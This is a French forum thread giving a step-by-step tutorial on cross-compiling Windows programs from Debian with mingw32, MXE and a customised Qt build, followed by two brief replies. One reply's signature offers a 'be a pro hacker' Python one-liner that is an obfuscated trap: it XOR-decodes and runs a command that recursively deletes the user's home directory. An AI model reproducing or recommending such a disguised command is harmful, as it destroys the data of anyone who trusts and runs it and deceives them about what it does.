Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 23-09-2013 11:05:58

warfares
Membre Hyperactif
Inscription : 01-04-2013
Messages : 52

[c++]Mettre en place un environnement de cross-compilation sous Debian

En tant que Dev il se peut que vous ayez à développer des applications pour windows. malheuresement, vous n'avez pas toujours sous la main un pc sous windows, votre netbook ne supporte pas de VM, ou vous n'avez simplement pas envi de quitter plus de 5 secondes votre GNU/Linux chéri.
C'est ici que la cross complation peut vous faire gagner pas mal de temps, et conserver votre plaisir de coder.
Ici, on va compiler nos executables pour windows directement depuis une machine sous debian!
Les exemples sont effectués sur une plateforme x86, ce qui permet une compatibilité avec les plateformes 32bits (oO) mais dans la pluparts des cas aussi avec les plateforme 64bits.
Les commandes sont effectuées en root, donc si il y a des problemes, il se peut que ça vienne de là.
Wikipedia

1) la base :

apt-get install wine mingw32 mingw32-binutils mingw32-runtime

l'utilisation est plutot simple et permet deja de compiler des applications windows :
essayez ce code
box.cpp

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
{
  MessageBox(NULL,
    "Hello World !",
    "warfares for www.crack-wifi.com/forum", MB_OK);
  return 0;
}

compilez comme ceci :

i586-mingw32msvc-g++ -o box.exe box.cpp

utilisation :

wine box.exe

2) cross compilation avec qt et mxe
Certains ont peut-etre lu le tuto des cross compilation sur le Site Du Zero, et se sont peut etre rendu compte que malheuresement, la compilation etait dynamique, il fallait donc inclure les Dll ce qui est, souvent, génant.
heureusement pour nous un outils existe : mxe . il permet de grandement faciliter la cross compilation statique.
on commence par telecharge les dependances

apt-get install autoconf automake bash bison bzip2 \
                    cmake flex gettext git g++ intltool \
                    libffi-dev libtool libltdl-dev libssl-dev \
                    libxml-parser-perl make openssl patch perl \
                    pkg-config scons sed unzip wget xz-utils

( si vous etessur une 64bits il faudra aussi

apt-get install g++-multilib libc6-dev-i386

)

ensuite on telecharge le projet

git clone -b stable https://github.com/mxe/mxe.git
cd mxe

Pour ma part j'ai modifié le fichier

src/qt.mk

car les options de compilations ne me satisfaisaient pas le debug n'etait pas present et certaines de mes applis prennent moins de place en mode debug. Mon fichier ressemble donc a ceci :

# This file is part of MXE.
# See index.html for further information.

PKG             := qt
$(PKG)_IGNORE   :=
$(PKG)_VERSION  := 4.8.5
$(PKG)_CHECKSUM := 745f9ebf091696c0d5403ce691dc28c039d77b9e
$(PKG)_SUBDIR   := $(PKG)-everywhere-opensource-src-$($(PKG)_VERSION)
$(PKG)_FILE     := $(PKG)-everywhere-opensource-src-$($(PKG)_VERSION).tar.gz
$(PKG)_URL      := http://download.qt-project.org/official_releases/qt/4.8/$($(PKG)_VERSION)/$($(PKG)_FILE)
$(PKG)_DEPS     := gcc libodbc++ postgresql freetds openssl zlib libpng jpeg libmng tiff sqlite dbus

define $(PKG)_UPDATE
    $(WGET) -q -O- 'http://qt.gitorious.org/qt/qt/commits' | \
    grep '<li><a href="/qt/qt/commit/' | \
    $(SED) -n 's,.*<a[^>]*>v\([0-9][^<-]*\)<.*,\1,p' | \
    tail -1
endef

define $(PKG)_BUILD
    cd '$(1)' && QTDIR='$(1)' ./bin/syncqt
    cd '$(1)' && \
        OPENSSL_LIBS="`'$(TARGET)-pkg-config' --libs-only-l openssl`" \
        PSQL_LIBS="-lpq -lsecur32 `'$(TARGET)-pkg-config' --libs-only-l openssl` -lws2_32" \
        SYBASE_LIBS="-lsybdb `'$(TARGET)-pkg-config' --libs-only-l gnutls` -liconv -lws2_32" \
        ./configure \
        -opensource \
        -confirm-license \
        -fast \
        -xplatform win32-g++-4.6 \
        -device-option CROSS_COMPILE=$(TARGET)- \
        -device-option PKG_CONFIG='$(TARGET)-pkg-config' \
        -force-pkg-config \
        -exceptions \
        -static \
        -prefix '$(PREFIX)/$(TARGET)/qt' \
        -prefix-install \
        -script \
        -opengl desktop \
        -accessibility \
        -make libs \
        -nomake demos \
        -nomake docs \
        -nomake examples \
        -qt-sql-sqlite \
        -qt-sql-odbc \
        -qt-sql-psql \
        -debug \
        -qt-sql-tds -D Q_USE_SYBASE \
        -system-zlib \
        -system-libpng \
        -system-libjpeg \
        -system-libtiff \
        -system-libmng \
        -system-sqlite \
        -openssl-linked \
        -dbus-linked \
        -v

    $(MAKE) -C '$(1)' -j '$(JOBS)'
    rm -rf '$(PREFIX)/$(TARGET)/qt'
    $(MAKE) -C '$(1)' -j 1 install

    cd '$(1)/tools/assistant' && '$(1)/bin/qmake' assistant.pro
    $(MAKE) -C '$(1)/tools/assistant' -j '$(JOBS)' install

    cd '$(1)/tools/designer' && '$(1)/bin/qmake' designer.pro
    $(MAKE) -C '$(1)/tools/designer' -j '$(JOBS)' install

    # at least some of the qdbus tools are useful on target
    cd '$(1)/tools/qdbus' && '$(1)/bin/qmake' qdbus.pro
    $(MAKE) -C '$(1)/tools/qdbus' -j '$(JOBS)' install

    mkdir            '$(1)/test-qt'
    cd               '$(1)/test-qt' && '$(PREFIX)/$(TARGET)/qt/bin/qmake' '$(PWD)/$(2).pro'
    $(MAKE)       -C '$(1)/test-qt' -j '$(JOBS)'
    $(INSTALL) -m755 '$(1)/test-qt/release/test-qt.exe' '$(PREFIX)/$(TARGET)/bin/'
endef

Ici vous avez 2choix :

make

Si vous pensez utiliser tout les outils de mxe ( ultra long ) ou

make qt

Si vous n'utilisez pour le moment seulement que qt ( tres long ). evidemment vous pouvez recompiler plus tard, c'est pourquoi je vous conseil la deuxieme solution pour le moment, c'est deja bien assez long.

Ensuite c'est simple :
allez dans le dossier de votre projet ( là où il y a le .pro ) et faites :

/home/zezette/mxe/usr/i686-pc-mingw32/qt/bin/qmake

( ici j'ai dl mxe a la racine de mon dossier perso )
si vous voulez virer le necessitee d'avoir a fourninr mingwdll10.dll ( ou un truc dans le genre ) il faut editer vos Makefile ( Makefile.Debug et Makefile.Realease ) et virer a chaque fois les 3 premieres occurences du mot thread ( -DQT_THREAD_SUPPORT et 2 -mthreads normalement ) Par contre, si vous faites cela, vous ne pourrez pas utiliser les QThreads.
Ensuite

make

ou

make debug

et votre exe se trouvera dans le dossier release ou debug créé selon votre choix.

il ne reste plus qu'a compresser l'exe :

wine upx.exe --best lol.exe

ici j'utilise l'upx de windows car il semble avoir des meilleurs performances ( pour un fichier de 14Mo, il sort un fichier de 5,3Mo, voir un peu moins de 4Mo en version debug contre 5,9Mo pourl'upx linux et en plus il est plus rapide)

plus d'infos/sources :
http://binsec.blogspot.fr/2012/10/la-cr … tions.html
http://www.coyotus.com/viewtopic.php?id=407
http://qt-project.org/doc/qt-4.8/configure-options.html

Dernière modification par warfares (24-09-2013 11:31:10)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 24-09-2013 08:18:51

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : [c++]Mettre en place un environnement de cross-compilation sous Debian

<3


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#3 24-09-2013 15:24:46

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : [c++]Mettre en place un environnement de cross-compilation sous Debian

Merci warfares pour ce tuto très clair et agréable à suivre.
Et en plus tout ce qui permet de ne pas à avoir à quitter "nos linux chéris" devrait être déclaré d'intérêt public. smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.059 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]